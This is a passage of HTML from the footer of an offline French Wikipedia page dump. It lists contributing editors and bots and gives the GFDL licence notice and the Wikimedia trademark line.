href="../../../../articles/m/m/b/Utilisateur%7EMMBot_510c.html" title="Utilisateur:MMBot">MMBot</a>, <a href="../../../../articles/m/u/_/Utilisateur%7EMu_fdae.html" title="Utilisateur:Mu">Mu</a>, <a href="../../../../articles/k/e/l/Utilisateur%7EKelBot_465b.html" title="Utilisateur:KelBot">KelBot</a>, <a href="../../../../articles/f/r/e/Utilisateur%7EFREYSSELINARD_b56b.html" title="Utilisateur:FREYSSELINARD">FREYSSELINARD</a>, <a href="../../../../articles/l/a/m/Utilisateur%7ELamaingauche_3df9.html" title="Utilisateur:Lamaingauche">Lamaingauche</a>, <a href="../../../../articles/h/a/g/Utilisateur%7EHaguardDuNord_18d1.html" title="Utilisateur:HaguardDuNord">HaguardDuNord</a>, <a href="../../../../articles/a/l/e/Utilisateur%7EAlexandrin_b2cb.html" title="Utilisateur:Alexandrin">Alexandrin</a>, <a href="../../../../articles/p/a/d/Utilisateur%7EPadawane_c6b6.html" title="Utilisateur:Padawane">Padawane</a>, <a href="../../../../articles/z/x/8/Utilisateur%7EZX81-bot_0db4.html" title="Utilisateur:ZX81-bot">ZX81-bot</a>, <a href="../../../../articles/b/e/s/Utilisateur%7EBessie_cf4b.html" title="Utilisateur:Bessie">Bessie</a>, <a href="../../../../articles/c/o/m/Utilisateur%7ECommonsDelinker_8698.html" title="Utilisateur:CommonsDelinker">CommonsDelinker</a>, <a href="../../../../articles/k/e/a/Utilisateur%7EKeats_bc3a.html" title="Utilisateur:Keats">Keats</a>, <a href="../../../../articles/e/l/g/Utilisateur%7EElg_d7e4.html" title="Utilisateur:Elg">Elg</a>, <a href="../../../../articles/s/a/l/Utilisateur%7ESalecabot_7e09.html" title="Utilisateur:Salecabot">Salecabot</a>, <a href="../../../../articles/y/u/r/Utilisateur%7EYurikBot_0f63.html" title="Utilisateur:YurikBot">YurikBot</a>, <a href="../../../../articles/e/c/l/Utilisateur%7EEcliptica_93d6.html" title="Utilisateur:Ecliptica">Ecliptica</a>, <a href="../../../../articles/l/i/q/Utilisateur%7ELiquid-aim-bot_78e0.html" title="Utilisateur:Liquid-aim-bot">Liquid-aim-bot</a>, <a href="../../../../articles/b/a/n/Utilisateur%7EBanjamin_a286.html" title="Utilisateur:Banjamin">Banjamin</a>, <a href="../../../../articles/e/d/u/Utilisateur%7EEDUCA33E_3425.html" title="Utilisateur:EDUCA33E">EDUCA33E</a>, <a href="../../../../articles/e/s/k/Utilisateur%7EEskimbot_5ab8.html" title="Utilisateur:Eskimbot">Eskimbot</a>, <a href="../../../../articles/f/e/l/Utilisateur%7EFelipeh_aa5b.html" title="Utilisateur:Felipeh">Felipeh</a>, <a href="../../../../articles/p/a/u/Utilisateur%7EPaule_Hittiquarre_55e9.html" title="Utilisateur:Paule Hittiquarre">Paule Hittiquarre</a>, <a href="../../../../articles/p/r/o/Utilisateur%7EProbot_1ba4.html" title="Utilisateur:Probot">Probot</a>, <a href="../../../../articles/k/e/l/Utilisateur%7EKelson_c689.html" title="Utilisateur:Kelson">Kelson</a>, <a href="../../../../articles/r/o/b/Utilisateur%7ERobotQuistnix_d78e.html" title="Utilisateur:RobotQuistnix">RobotQuistnix</a>, <a href="../../../../articles/k/%C3%A9/b/Utilisateur%7EK%C3%A9bec_8779.html" title="Utilisateur:Kébec">Kébec</a>, <a href="../../../../articles/p/e/c/Utilisateur%7EPeco_9d74.html" title="Utilisateur:Peco">Peco</a>, <a href="../../../../articles/k/o/y/Utilisateur%7EKoyuki_0284.html" title="Utilisateur:Koyuki">Koyuki</a>, <a href="../../../../articles/h/%C3%A9/g/Utilisateur%7EH%C3%A9g%C3%A9sippe_Cormier_d40a.html" title="Utilisateur:Hégésippe Cormier">Hégésippe Cormier</a>, <a href="../../../../articles/s/a/m/Utilisateur%7ESam_Hocevar_d973.html" title="Utilisateur:Sam Hocevar">Sam Hocevar</a> et <a href="../../../../articles/m/a/27/Utilisateur%7EMa%27ame_Michu_b7a0.html" title="Utilisateur:Ma'ame Michu">Ma'ame Michu</a> et Utilisateur(s) non enregistré(s) de Wikipédia.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX